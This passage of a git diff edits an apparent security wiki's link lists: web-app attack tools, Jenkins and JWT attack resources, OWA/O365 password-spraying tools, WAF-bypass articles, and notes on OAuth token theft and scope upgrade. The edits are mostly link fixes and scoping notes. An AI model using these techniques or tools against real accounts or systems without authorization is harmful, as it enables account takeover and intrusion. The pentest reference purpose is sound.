[proxify](https://github.com/projectdiscovery/proxify) - Swiss Army knife Proxy tool for HTTP/HTTPS traffic capture, manipulation, and replay on the go. - * [dnsx](https://github.com/projectdiscovery/dnsx) - dnsx is a fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers. + * [dnsx](https://github.com/projectdiscovery/dnsx) - DNS toolkit for running DNS queries against user-supplied resolvers. * [Fiddler](https://www.telerik.com/fiddler) - Powerful and flexible web debugging proxy. * [OWASP Zap](https://owasp.org/www-project-zap/) - Open Source Web Application testing tool made by the OWASP Foundation. Serves a similar function to Burp and even shares many extensions. * [https://tryhackme.com/room/learnowaspzap](https://tryhackme.com/room/learnowaspzap) * [Jaeles](https://github.com/jaeles-project/jaeles) - Jaeles is a powerful, flexible and easily extensible framework written in Go for building your own Web Application Scanner. * [REngine ](https://github.com/yogeshojha/rengine)- reNgine is an automated reconnaissance framework meant for information gathering during penetration testing of web applications. reNgine has customizable scan engines, which can be used to scan the domains, endpoints, or gather information. The beauty of reNgine is that it gathers everything in one place. It has a pipeline of reconnaissance, which is highly customizable. -* [OpenBullet2](https://github.com/openbullet/OpenBullet2) - OpenBullet 2 is a cross platform automation suite powered by .NET core. It allows to perform requests towards a target webapp and offers a lot of tools to work with the results. This software can be used for scraping and parsing data, automated pentesting and much more. +* [OpenBullet2](https://github.com/openbullet/OpenBullet2) - High-abuse automation suite often associated with credential stuffing. Do not treat it as a general web testing framework; only use in explicitly authorized lab contexts. * [https://discourse.openbullet.dev/](https://discourse.openbullet.dev/) * [FinalRecon](https://github.com/thewhiteh4t/finalrecon) - FinalRecon is an automatic web reconnaissance tool written in python. Goal of FinalRecon is to provide an overview of the target in a short amount of time while maintaining the accuracy of results. * [ChopChop](https://github.com/michelin/ChopChop) - ChopChop is a command-line tool for dynamic application security testing on web applications, initially written by the Michelin CERT. Its goal is to scan several endpoints and identify exposition of services/files/folders through the webroot. @@ -30,7 +30,7 @@ * [Sitadel](https://github.com/shenril/Sitadel) - Sitadel is basically an update for WAScan making it compatible for python >= 3.4 It allows more flexibility for you to write new modules and implement new features * [Garud](https://github.com/R0X4R/Garud) - An automation tool that scans sub-domains, sub-domain takeover, then filters out XSS, SSTI, SSRF, and more injection point parameters and scans for some low hanging vulnerabilities automatically. * [OpenWebTestingFramework ](https://github.com/owtf/owtf)- **OWTF** is a project focused on penetration testing efficiency and alignment of security tests to security standards like the OWASP Testing Guide (v3 and v4), the OWASP Top 10, PTES and NIST -* [SecApps](web-app-testing-frameworks.md#web-app-testing-resources) - A flexible scanning platform that combines the funcitonality of multiple tools into a web based platform. Comes in both a premium and free sets of features. +* [SecApps](https://secapps.com/tools/suite/) - Flexible web-based testing platform with free and paid features. * [paros](https://www.kali.org/tools/paros/) - Lightweight web application testing proxy * [sumrecon](https://github.com/Gr1mmie/sumrecon) - Web recon script. No need to fear, sumrecon is here! * [0d1n](https://github.com/CoolerVoid/0d1n) - Tool for automating customized attacks against web applications. Fully made in C language with pthreads, it has fast performance. diff --git a/web-app-hacking/web-technologies/README.md b/web-app-hacking/web-technologies/README.md index ac7beab..e41c6ef 100644 --- a/web-app-hacking/web-technologies/README.md +++ b/web-app-hacking/web-technologies/README.md @@ -1,5 +1,7 @@ # Web Technologies +This page tracks security notes and tools for common web platforms, frameworks, identity technologies, APIs, and CMSs. Keep passive domain discovery in Cyber Intelligence, O365 spraying in Password Attacks, and malware/API cheat sheets in DFIR or exploit-development pages. +
Adobe AEM @@ -26,7 +28,7 @@ APIs * [https://github.com/shieldfy/API-Security-Checklist](https://github.com/shieldfy/API-Security-Checklist) -* [https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf) +* [OWASP API Security Top 10](https://owasp.org/www-project-api-security/) - Use the current project page rather than only the older 2019 PDF. * [https://hackanythingfor.blogspot.com/2020/07/api-testing-checklist.html](https://hackanythingfor.blogspot.com/2020/07/api-testing-checklist.html) * [https://cheatsheetseries.owasp.org/cheatsheets/REST\_Assessment\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/REST\_Assessment\_Cheat\_Sheet.html) * [https://cheatsheetseries.owasp.org/cheatsheets/REST\_Security\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/REST\_Security\_Cheat\_Sheet.html) @@ -40,14 +42,14 @@ * [imperva/automatic-api-attack-tool](https://github.com/imperva/automatic-api-attack-tool) - Imperva's customizable API attack tool takes an API specification as an input, generates and runs attacks that are based on it as an output. * [Astra](https://github.com/flipkart-incubator/Astra) - Automated Security Testing For REST API's * [OWASP API check](https://owasp.org/www-project-apicheck/#div-tools) - APICheck is an environment for integrating existing HTTP APIs tools and create execution chains easily. -* [VX-API](https://github.com/vxunderground/VX-API) - Collection of various WINAPI tricks / features used or abused by Malware -* [https://malapi.io/](https://malapi.io/) - Cheatsheet for commands that could be potentially used for malicious activity. +* [VX-API](https://github.com/vxunderground/VX-API) - Windows API tricks and malware-oriented API notes. This is not a web API resource; keep here only as a pointer for API terminology overlap. +* [malapi.io](https://malapi.io/) - Windows API reference for malware behavior. Better fit for malware/reverse engineering workflows. * [crAPI](https://github.com/OWASP/crAPI) - **c**ompletely **r**idiculous **API** (crAPI) will help you to understand the ten most critical API security risks. crAPI is vulnerable by design, but you'll be able to safely run it to educate/train yourself. * [https://github.com/Net-hunter121/API-Wordlist](https://github.com/Net-hunter121/API-Wordlist) - A wordlist of API names used for fuzzing web application APIs. * [https://github.com/metlo-labs/metlo](https://github.com/metlo-labs/metlo) - Metlo is an open-source API security platform * _Hacking: The next generation - Application Protocol Handlers, pg. 96_ -_For training on APIs and API hacking, please see_ [_https://github.com/jassics/security-study-plan/blob/main/api-security-study-plan.md_](https://github.com/jassics/security-study-plan/blob/main/api-security-study-plan.md)__ +_For training on APIs and API hacking, please see_ [_https://github.com/jassics/security-study-plan/blob/main/api-security-study-plan.md_](https://github.com/jassics/security-study-plan/blob/main/api-security-study-plan.md)_._
@@ -85,7 +87,7 @@ _For training on APIs and API hacking, please see_ [_https://github.com/jassics/ Cloudflare -* [cloudflare\_enum](https://github.com/mandatoryprogrammer/cloudflare\_enum) - Cloudflare DNS Enumeration Tool for Pentesters +* [cloudflare_enum](https://github.com/mandatoryprogrammer/cloudflare_enum) - Cloudflare DNS enumeration tool. Passive DNS/domain investigation belongs in Cyber Intelligence. @@ -213,7 +215,7 @@ _For training on APIs and API hacking, please see_ [_https://github.com/jassics/ Jenkins * [pwn\_jenkins](https://github.com/gquere/pwn\_jenkins) - Notes about attacking Jenkins servers -* [Accenture/jenkins-attack-framework](https://github.com/Accenture/jenkins-attack-framework) - Project fpr enumerating and attacking Jenkins +* [Accenture/jenkins-attack-framework](https://github.com/Accenture/jenkins-attack-framework) - Project for enumerating and attacking Jenkins. * [https://pentestbook.six2dez.com/enumeration/webservices/jenkins](https://pentestbook.six2dez.com/enumeration/webservices/jenkins) * [https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Jenkins.md](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Jenkins.md) @@ -248,8 +250,8 @@ _For training on APIs and API hacking, please see_ [_https://github.com/jassics/ * [https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology) * [jwt-hack](https://github.com/hahwul/jwt-hack) - jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce) * [jwt-pwn](https://github.com/mazen160/jwt-pwn) - Security Testing Scripts for JWT -* [https://trustfoundry.net/jwt-hacking-101/](https://trustfoundry.net/jwt-hacking-101/https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a) -* [https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9](https://trustfoundry.net/jwt-hacking-101/https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a) +* [JWT Hacking 101](https://trustfoundry.net/jwt-hacking-101/) +* [Can timing attacks be a practical security threat on JWT signatures?](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9) * [https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/) * [https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a](https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a) * [https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6) @@ -258,7 +260,7 @@ _For training on APIs and API hacking, please see_ [_https://github.com/jassics/
-Megento +Magento * [magescan](https://github.com/steverobbins/magescan) - Scan a Magento site for information * [https://magescan.com/](https://magescan.com/) @@ -300,6 +302,12 @@ _For training on APIs and API hacking, please see_ [_https://github.com/jassics/ OWA/O365 +Microsoft 365 username enumeration, spraying, and mailbox search tooling is maintained with Password Attacks and Cloud. The links below are kept here only because OWA is a web-facing technology. + +{% content-ref url="../../red-offensive/testing-methodology/password-attacks.md" %} +[password-attacks.md](../../red-offensive/testing-methodology/password-attacks.md) +{% endcontent-ref %} + * [MailSniper](https://github.com/dafthack/MailSniper) - MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used as a non-administrative user to search their own email, or by an administrator to search the mailboxes of every user in a domain. * [byt3bl33d3r/SprayingToolkit](https://github.com/byt3bl33d3r/SprayingToolkit) - Scripts to make password spraying attacks against Lync/S4B, OWA & O365 a lot quicker, less painful and more efficient * [o365enum](https://github.com/gremwell/o365enum) - Enumerate valid usernames from Office 365 using ActiveSync, Autodiscover v1, or office.com login page. diff --git a/web-app-hacking/web-technologies/oauth-2.0.md b/web-app-hacking/web-technologies/oauth-2.0.md index dd92b7c..c50ccba 100644 --- a/web-app-hacking/web-technologies/oauth-2.0.md +++ b/web-app-hacking/web-technologies/oauth-2.0.md @@ -13,10 +13,10 @@ {% endtab %} {% tab title="OAuth Grant Types" %} - **** The ways that OAuth can be implemented. +Ways that OAuth can be implemented. * Authorization Code - the client application and OAuth service first use redirects to exchange a series of browser-based HTTP requests that initiate the flow. The user is asked whether they consent to the requested access. If they accept, the client application is granted an "authorization code". The client application then exchanges this code with the OAuth service to receive an "access token", which they can use to make API calls to fetch the relevant user data. -* Implicit - the client application receives the access code immediately after the user gives their consent. +* Implicit - the client application receives the token immediately after user consent. OAuth 2.1 removes the implicit grant; prefer authorization code with PKCE for modern browser-based applications. * [https://oauth.net/2/grant-types/authorization-code/](https://oauth.net/2/grant-types/authorization-code/) * [https://portswigger.net/web-security/oauth/grant-types](https://portswigger.net/web-security/oauth/grant-types) {% endtab %} @@ -30,13 +30,13 @@ * [https://medium.com/@Jacksonkv22/oauth-misconfiguration-lead-to-complete-account-takeover-c8e4e89a96a](https://medium.com/@Jacksonkv22/oauth-misconfiguration-lead-to-complete-account-takeover-c8e4e89a96a) * [https://medium.com/@logicbomb\_1/bugbounty-user-account-takeover-i-just-need-your-email-id-to-login-into-your-shopping-portal-7fd4fdd6dd56](https://medium.com/@logicbomb\_1/bugbounty-user-account-takeover-i-just-need-your-email-id-to-login-into-your-shopping-portal-7fd4fdd6dd56) * [https://medium.com/@protector47/full-account-takeover-via-referrer-header-oauth-token-steal-open-redirect-vulnerability-chaining-324a14a1567](https://medium.com/@protector47/full-account-takeover-via-referrer-header-oauth-token-steal-open-redirect-vulnerability-chaining-324a14a1567) -* [https://hackerone.com/reports/49759](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) -* [https://hackerone.com/reports/131202](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) -* [https://hackerone.com/reports/6017](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) -* [https://hackerone.com/reports/7900](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) -* [https://hackerone.com/reports/244958](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) -* [https://hackerone.com/reports/405100](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) -* [https://ysamm.com/?p=379](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) +* [https://hackerone.com/reports/49759](https://hackerone.com/reports/49759) +* [https://hackerone.com/reports/131202](https://hackerone.com/reports/131202) +* [https://hackerone.com/reports/6017](https://hackerone.com/reports/6017) +* [https://hackerone.com/reports/7900](https://hackerone.com/reports/7900) +* [https://hackerone.com/reports/244958](https://hackerone.com/reports/244958) +* [https://hackerone.com/reports/405100](https://hackerone.com/reports/405100) +* [https://ysamm.com/?p=379](https://ysamm.com/?p=379) * [https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/](https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/) * [http://blog.intothesymmetry.com/2014/02/oauth-2-attacks-and-bug-bounties.html](http://blog.intothesymmetry.com/2014/02/oauth-2-attacks-and-bug-bounties.html) * [https://xploitprotocol.medium.com/exploiting-oauth-2-0-authorization-code-grants-379798888893](https://xploitprotocol.medium.com/exploiting-oauth-2-0-authorization-code-grants-379798888893) @@ -90,7 +90,7 @@ * JS queries that handles URI parameters, XSS injections, HTML injections, etc. * [https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page) * Flawed scope validation - * Generally, when a token is granted, it is only for the scope defined in the request. However it is possible to "upgrade" the scope of access by exploiting a flawed OAuth implimentation. + * Generally, when a token is granted, it is only for the scope defined in the request. However it is possible to "upgrade" the scope of access by exploiting a flawed OAuth implementation. * With the authorization code flow, it may be possible for an attacker to register their own client application with the OAuth service. * With the implicit grant flow, tokens are sent via the browser and an attacker can steal tokens associated with innocent client applications and use them directly. Once they have stolen an access token, they can send a normal browser-based request to the OAuth service's `/userinfo` endpoint, manually adding a new `scope` parameter in the process. * Unverified user registration @@ -120,7 +120,7 @@ ## **OpenID** - **** [https://portswigger.net/web-security/oauth/openid](https://portswigger.net/web-security/oauth/openid) +* [PortSwigger: OpenID Connect attacks](https://portswigger.net/web-security/oauth/openid) * OpenID Connect extends the OAuth protocol to provide a dedicated identity and authentication layer that sits on top of the basic OAuth implementation. * OpenID Connect slots neatly into the normal OAuth flows. From the client application's perspective, the key difference is that there is an additional, standardized set of scopes that are the same for all providers, and an extra response type: `id_token`. diff --git a/web-app-hacking/web-technologies/ssl-tls-and-certificates.md b/web-app-hacking/web-technologies/ssl-tls-and-certificates.md index 89c93f4..cd187c3 100644 --- a/web-app-hacking/web-technologies/ssl-tls-and-certificates.md +++ b/web-app-hacking/web-technologies/ssl-tls-and-certificates.md @@ -1,14 +1,15 @@ # SSL/TLS and Certificates +This page is for TLS configuration testing and certificate handling in a web context. Passive certificate discovery and domain investigation belong in Cyber Intelligence. + ## Tools * [SSL Cipher Suite Enum](https://github.com/portcullislabs/ssl-cipher-suite-enum) - ssl-cipher-suite enum is a Perl script to enumerate supported SSL cipher suites supported by network services (principally HTTPS) * [https://labs.portcullis.co.uk/tools/ssl-cipher-suite-enum/](https://labs.portcullis.co.uk/tools/ssl-cipher-suite-enum/) -* Testssl.sh - a common tool used to audit the ciphers and protocols supported by remote servers, allowing people to determine if a secure configuration is enforced or not. +* [testssl.sh](https://github.com/drwetter/testssl.sh) - Audits ciphers, protocols, certificate details, and common TLS vulnerabilities. * [sslScrape](https://github.com/cheetz/sslScrape) - strips hostnames form certs over port 443 connections * [SSLYZE ](https://github.com/nabla-c0d3/sslyze)- TLS/SSL config analyzer * [tls\_prober](https://github.com/WestpointLtd/tls\_prober) - A tool to fingerprint SSL/TLS servers -* [testssl.sh](https://github.com/drwetter/testssl.sh) * [https://github.com/IBM/tls-vuln-cheatsheet](https://github.com/IBM/tls-vuln-cheatsheet) #### Certificate search @@ -19,7 +20,7 @@ * [CertSpotter](https://sslmate.com/certspotter/) - Monitors your domains for expiring, unauthorized, and invalid SSL certificates * [SynapsInt](https://synapsint.com/) - The unified OSINT research tool * [Censys - Certificates](https://search.censys.io/certificates) - Certificates Search -* [PassiveTotal](https://www.riskiq.com/products/passivetotal/) - Security intelligence that scales security operations and response +* [Microsoft Defender Threat Intelligence](https://www.microsoft.com/en-us/security/business/siem-and-xdr/microsoft-defender-threat-intelligence) - RiskIQ PassiveTotal has been folded into Microsoft Defender Threat Intelligence. ## OpenSSL @@ -28,7 +29,7 @@ Used to create self signed certificates for SSL encryption ``` -# openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out cirtificate.crt +# openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out certificate.crt ``` * Tags diff --git a/web-app-hacking/web-technologies/web-application-firewall.md b/web-app-hacking/web-technologies/web-application-firewall.md index 27bb372..8ad24aa 100644 --- a/web-app-hacking/web-technologies/web-application-firewall.md +++ b/web-app-hacking/web-technologies/web-application-firewall.md @@ -4,13 +4,19 @@ [Awesome-WAF](https://github.com/0xInfection/Awesome-WAF) - The Definitive Guide. +## WAF and HTTP Defense Tools + +* [ModSecurity](https://github.com/SpiderLabs/ModSecurity) - Open-source web application firewall engine. +* [ModSecurity-apache](https://github.com/SpiderLabs/ModSecurity-apache) - Legacy ModSecurity 2.x connector for Apache. For modern deployments, review ModSecurity v3/libmodsecurity. +* [mod_evasive](https://github.com/jzdziarski/mod_evasive) - Legacy Apache module for DoS and brute-force protection. Evaluate maintenance status before deployment. +
Detection and Fingerprinting Tools * [WhatWaf](https://github.com/Ekultek/WhatWaf) - Detect and bypass web application firewalls and protection systems * [WAFW00F](https://github.com/enablesecurity/wafw00f) - The ultimate WAF fingerprinting tool with the largest fingerprint database from [@EnableSecurity](https://github.com/enablesecurity). -* [IdentYwaf](https://github.com/stamparm/identywaf) - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by [@stamparm](https://github.com/stamparm). +* [IdentYwaf](https://github.com/stamparm/identywaf) - A blind WAF detection tool which uses a unique method of identifying WAFs based upon previously collected fingerprints by [@stamparm](https://github.com/stamparm).
@@ -57,7 +63,7 @@ * [How To Exploit PHP Remotely To Bypass Filters & WAF Rules](https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)- By [@Secjuice](https://secjuice.com) * [ModSecurity SQL Injection Challenge: Lessons Learned](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) - By [@SpiderLabs](https://trustwave.com). * [XXE that can Bypass WAF](https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0) - By [@WallArm](https://labs.wallarm.com). -* [SQL Injection Bypassing WAF](https://www.owasp.org/index.php/SQL\_Injection\_Bypassing\_WAF) - By [@OWASP](https://owasp.com). +* [SQL Injection Bypassing WAF](https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF) - By [OWASP](https://owasp.org). * [How To Reverse Engineer A Web Application Firewall Using Regular Expression Reversing](https://www.sunnyhoi.com/reverse-engineer-web-application-firewall-using-regular-expression-reversing/) - By [@SunnyHoi](https://twitter.com/sunnyhoi). * [Bypassing Web-Application Firewalls by abusing SSL/TLS](https://0x09al.github.io/waf/bypass/ssl/2018/07/02/web-application-firewall-bypass.html) - By [@0x09AL](https://twitter.com/0x09al). * [Request Encoding to Bypass WAFs](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/) - By [@Soroush Dalili](https://twitter.com/irsdl) diff --git a/yellow-ai-machine-learning-and-foss.md b/yellow-ai-machine-learning-and-foss.md index d73dfe9..31bc89d 100644 --- a/yellow-ai-machine-learning-and-foss.md +++ b/yellow-ai-machine-learning-and-foss.md @@ -1,232 +1,117 @@ +--- +description: AI, machine learning, free and open-source software, security datasets, research tooling, and lab-building resources. +--- + # Yellow - AI, Machine Learning, and FOSS +Use this page for AI/ML learning, security research datasets, and free/open source software references. Keep detection engineering in Blue, lab building in Training, and operational tooling in the relevant Red/Blue/DFIR sections. + ## AI Tools
### AI Tool Collections -* [https://theresanaiforthat.com/alphabetical/](https://theresanaiforthat.com/alphabetical/) -* [https://www.futurepedia.io/](https://www.futurepedia.io/) -* [https://www.aishrine.com/](https://www.aishrine.com/) -* [https://theresanaiforthat.com/](https://theresanaiforthat.com/) +* [There's An AI For That](https://theresanaiforthat.com/) - Broad AI tool catalog. +* [Futurepedia](https://www.futurepedia.io/) - AI tool directory. +* [AI Shrine](https://www.aishrine.com/) - AI resource index. ### Interesting AI Articles -* [https://www.computerweekly.com/news/252529081/Should-we-be-worried-about-malicious-use-of-AI-language-models](https://www.computerweekly.com/news/252529081/Should-we-be-worried-about-malicious-use-of-AI-language-models) -* [https://apnews.com/article/technology-education-colleges-and-universities-france-a0ab654549de387316404a7be019116b](https://apnews.com/article/technology-education-colleges-and-universities-france-a0ab654549de387316404a7be019116b) +* [Should we be worried about malicious use of AI language models?](https://www.computerweekly.com/news/252529081/Should-we-be-worried-about-malicious-use-of-AI-language-models) +* [ChatGPT in schools and universities](https://apnews.com/article/technology-education-colleges-and-universities-france-a0ab654549de387316404a7be019116b) ### Prompt Crafting -* [https://prmpts.carrd.co/](https://prmpts.carrd.co/) +* [prmpts.carrd.co](https://prmpts.carrd.co/) ## FOSS - Free and Open Source Software -* [https://www.opensourcealternative.to/](https://www.opensourcealternative.to/) - -## Machine Learning +* [Open Source Alternative To](https://www.opensourcealternative.to/) - Directory of open source alternatives to commercial tools. -### **Attack Research** +## Machine Learning for Security -Proper research all starts with one thing: Data! +### Research Data -* [DetectionLab](https://github.com/clong/DetectionLab) - Automate the creation of a lab environment complete with security tooling and logging best practices -* [Mitre CAR](https://car.mitre.org/) - The MITRE Cyber Analytics Repository (CAR) is a knowledge base of analytics developed by [MITRE](https://www.mitre.org) based on the [MITRE ATT\&CK](https://attack.mitre.org/) adversary model. - * CAR is focused on providing a set of validated and well-explained analytics, in particular with regards to their operating theory and rationale. -* [soc-faker](https://github.com/swimlane/soc-faker) - A python package for use in generating fake data for SOC and security automation. +Good ML research starts with reliable data. Security datasets can also be useful for detection engineering, packet analysis, malware analysis, and training labs. -
+* [Awesome Cybersecurity Datasets](https://github.com/shramos/Awesome-Cybersecurity-Datasets) - Awesome list; duplicate is allowed under the guide's Awesome List exception. +* [VizSec research datasets](https://vizsec.org/data/) +* [Splunk Security Dataset](https://live.splunk.com/splunk-security-dataset-project) +* [OTRF Security Datasets](https://github.com/OTRF/Security-Datasets) +* [SecRepo](https://www.secrepo.com/) - Security data samples. +* [PCAP-ATTACK](https://github.com/sbousseaden/PCAP-ATTACK) - PCAP samples for post-exploitation techniques. +* [EVTX-ATTACK-SAMPLES](https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES) - Windows event attack samples. +* [Public PCAP files for download](https://www.netresec.com/?page=PcapFiles) +* [Splunk Boss of the SOC v3 dataset](https://github.com/splunk/botsv3) +* [PhishingKitTracker](https://github.com/marcoramilli/PhishingKitTracker) - Phishing kit samples for security research. -Datasets +Practice labs and generated SOC datasets are maintained in Training and Blue Defense. -* [Awesome Lists Collection: Security Data Sets](https://github.com/shramos/Awesome-Cybersecurity-Datasets) -* [VizSec research and development data sets](https://vizsec.org/data/) -* [Splunk Security Dataset](https://live.splunk.com/splunk-security-dataset-project) - Access real data in Splunk hosted portal and explore/analyze various datasets with an educational tutorial. -* [OTRF/Security-Datasets](https://github.com/OTRF/Security-Datasets) - The Open Threat Research Forge project is an open-source initiatve that contributes malicious and benign datasets, from different platforms, to the infosec community to expedite data analysis and threat research. -* [SecRepo - Security Data Samples Repository](https://www.secrepo.com/) -* [PCAP-ATTACK](https://github.com/sbousseaden/PCAP-ATTACK) - PCAP Samples for Different Post Exploitation Techniques -* [EVTX-ATTACK-SAMPLES](https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES) - Windows Events Attack Samples -* [Public PCAP files for download](https://www.netresec.com/?page=PcapFiles) - This is a list of public packet capture repositories, which are freely available on the Internet. Most of the sites listed below share Full Packet Capture (FPC) files, but some do unfortunately only have truncated frames. -* [Splunk Boss of the SOC version 3 dataset.](https://github.com/splunk/botsv3) Datasets from one of the biggest data mining competitions in the world. Perfect for Splunk training or developing search used cases. -* [PhishingKitTracker ](https://github.com/marcoramilli/PhishingKitTracker)- Samples of phishing kits for use in security research +{% content-ref url="training/practice-lab.md" %} +[practice-lab.md](training/practice-lab.md) +{% endcontent-ref %} -
+{% content-ref url="blue-defense/event-detection/detection-use-cases/" %} +[detection-use-cases](blue-defense/event-detection/detection-use-cases/) +{% endcontent-ref %} -### **Network Analysis through Machine Learning** +### Detection and Analytics References -* [Awesome Lists Collection: Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) -* [Incremental Machine Learning by Example: Detecting Suspicious Activity with Zeek Data Streams, River, and JA3 Hashes – NCC Group Research](https://research.nccgroup.com/2021/06/14/incremental-machine-leaning-by-example-detecting-suspicious-activity-with-zeek-data-streams-river-and-ja3-hashes/) -* [Applying Machine Learning to Network Anomalies | Part 1 - YouTube](https://www.youtube.com/watch?v=qOfgNd-qijI) -* [Machine Learning Techniques for Intrusion Detection - machine-learning-techniques-intrusion-detection-40330.pdf](https://www.sans.org/reading-room/whitepapers/detection/machine-learning-techniques-intrusion-detection-40330) -* [IT Security From The Eyes Of Data Scientists](https://www.darkreading.com/it-security-from-the-eyes-of-data-scientists/d/d-id/1140831) -* [How Enterprises Can Use Big Data To Improve Security](https://www.darkreading.com/how-enterprises-can-use-big-data-to-improve-security/d/d-id/1140059) +* [MITRE CAR](https://car.mitre.org/) - MITRE Cyber Analytics Repository. CAR has seen limited updates compared with newer ATT&CK-adjacent projects, so treat it as a useful reference rather than a complete current coverage map. +* [soc-faker](https://github.com/swimlane/soc-faker) - Generates fake SOC and security automation data. +* [Awesome Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) +* [Incremental Machine Learning by Example: Zeek, River, and JA3](https://research.nccgroup.com/2021/06/14/incremental-machine-leaning-by-example-detecting-suspicious-activity-with-zeek-data-streams-river-and-ja3-hashes/) +* [Applying Machine Learning to Network Anomalies](https://www.youtube.com/watch?v=qOfgNd-qijI) +* [Machine Learning Techniques for Intrusion Detection](https://www.sans.org/reading-room/whitepapers/detection/machine-learning-techniques-intrusion-detection-40330) +* [IT Security From The Eyes Of Data Scientists](https://www.darkreading.com/it-security-from-the-eyes-of-data-scientists/d/d-id/1140831) - Historical context. +* [How Enterprises Can Use Big Data To Improve Security](https://www.darkreading.com/how-enterprises-can-use-big-data-to-improve-security/d/d-id/1140059) - Historical context. -### Machine Learning Books +## Machine Learning Books
Machine Learning Books -* [A Brief Introduction to Machine Learning for Engineers](https://arxiv.org/pdf/1709.02840.pdf) - Osvaldo Simeone (PDF) - - - -* [A Brief Introduction to Neural Networks](http://www.dkriesel.com/en/science/neural\_networks) - - - -* [A Comprehensive Guide to Machine Learning](https://www.eecs189.org/static/resources/comprehensive-guide.pdf) - Soroush Nasiriany, Garrett Thomas, William Wang, Alex Yang (PDF) - - - -* [A Course in Machine Learning](http://ciml.info/dl/v0\_9/ciml-v0\_9-all.pdf) (PDF) - - - -* [A First Encounter with Machine Learning](https://www.ics.uci.edu/\~welling/teaching/ICS273Afall11/IntroMLBook.pdf) (PDF) - - - -* [A Selective Overview of Deep Learning](https://arxiv.org/abs/1904.05526) - Fan, Ma, and Zhong (PDF) - - - -* [Algorithms for Reinforcement Learning](https://sites.ualberta.ca/\~szepesva/papers/RLAlgsInMDPs.pdf) - Csaba Szepesvári (PDF) - - - -* [An Introduction to Statistical Learning](http://www-bcf.usc.edu/\~gareth/ISL/) - Gareth James, Daniela Witten, Trevor Hastie and Robert Tibshirani - - - +* [A Brief Introduction to Machine Learning for Engineers](https://arxiv.org/pdf/1709.02840.pdf) - Osvaldo Simeone. +* [A Brief Introduction to Neural Networks](http://www.dkriesel.com/en/science/neural_networks) +* [A Comprehensive Guide to Machine Learning](https://www.eecs189.org/static/resources/comprehensive-guide.pdf) - Soroush Nasiriany, Garrett Thomas, William Wang, Alex Yang. +* [A Course in Machine Learning](http://ciml.info/dl/v0_9/ciml-v0_9-all.pdf) +* [A First Encounter with Machine 